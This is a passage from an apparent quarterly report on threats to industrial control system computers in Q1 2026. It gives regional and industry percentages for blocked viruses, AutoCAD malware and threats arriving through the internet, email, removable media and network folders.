The top 3 regions by this figure remained the same: Southeast Asia (6.11%, first by a wide margin), Africa (4.15%), and East Asia (2.97%). These same regions are also among the leaders by the percentage of systems affected by AutoCAD malware. The largest increase in this figure was observed in Africa (+0.41 pp).

Among the selected industries across all regions, the highest percentages for viruses were recorded in the construction industry (6.35%) and building automation (5.50%) in Southeast Asia.

Malware for AutoCAD

The percentage of ICS computers on which malware for AutoCAD was blocked increased to 0.30%.

The most notable increase over the quarter was observed in Africa, with the region’s percentage figure rising by 0.47 pp, a very significant increase for this category, and almost doubling (to 0.91%).

Among the selected industries across all regions, the highest percentages for AutoCAD malware were recorded in the construction industry in East Asia (5.58%) and Southeast Asia (3.87%).

Main threat sources

In Q1 2026, the average percentages across all threat sources, except threats from the internet, decreased globally.

Percentage of ICS computers on which malicious objects from various sources were blocked

Internet

The percentage of ICS computers on which threats from the internet were blocked increased to 7.88%. However, over the past three years, the percentage figure for internet threats has followed a downward trend.

The largest increases in the percentages were recorded in Southern Europe (8.59%, +0.59 pp), Southeast Asia (10.16%, +0.55 pp), and Northern Europe (4.47%, +0.51 pp).

Among the selected industries across all regions, the highest percentages for threats from the internet were recorded in electric power (13.16%) and construction (12.55%) in Southeast Asia, and in the engineering and ICS integration sector (12.33%) in South Asia.

Email clients

The percentage of ICS computers on which threats delivered via email clients were blocked decreased to 2.59%. This is a three-year low.

The percentage of this threat source increased in three regions: Southern Europe (6.54%, +0.2 pp), East Asia (1.5%, +0.09 pp), and slightly in Russia (0.7%, +0.04 pp).

Among the selected industries across all regions, the highest percentages for email threats were recorded for biometric systems (19.78%) and building automation (12.34%) in Southern Europe. In these two industries, the percentage of ICS computers on which email threats are blocked is higher than the percentage for threats from the internet. A similar situation was observed in two other instances, both in biometric systems (in South America and Southeast Asia).

Removable media

The percentage of ICS computers on which threats were detected when connecting removable media continued to decrease, reaching its lowest value for the period under review (0.26%).

Among the selected industries across all regions, the highest percentages for removable media threats blocked on ICS computers were observed in the electric power sector in Central Asia and the South Caucasus (1.45%), East Asia (1.34%), and Africa (1.16%).

Network folders

The percentage of ICS computers on which threats are blocked in network folders is steadily decreasing. In Q1 2026, it was the lowest for the period under review (0.029%).

East Asia has traditionally led by a wide margin. The percentage for East Asia (0.135%) is 27 times higher than the lowest regional value (recorded in Northern Europe).

The largest increases in the percentages for threats from network folders were observed in Africa (0.037%, +0.006 pp) and South America (0.013%, +0.006 pp).
Among the selected industries across all regions, the construction industry in East Asia, at 0.36%, holds the top positions in the ranking by the percentage of ICS computers on which threats are blocked in network folders.

For more information on industrial threats see the full version of the report.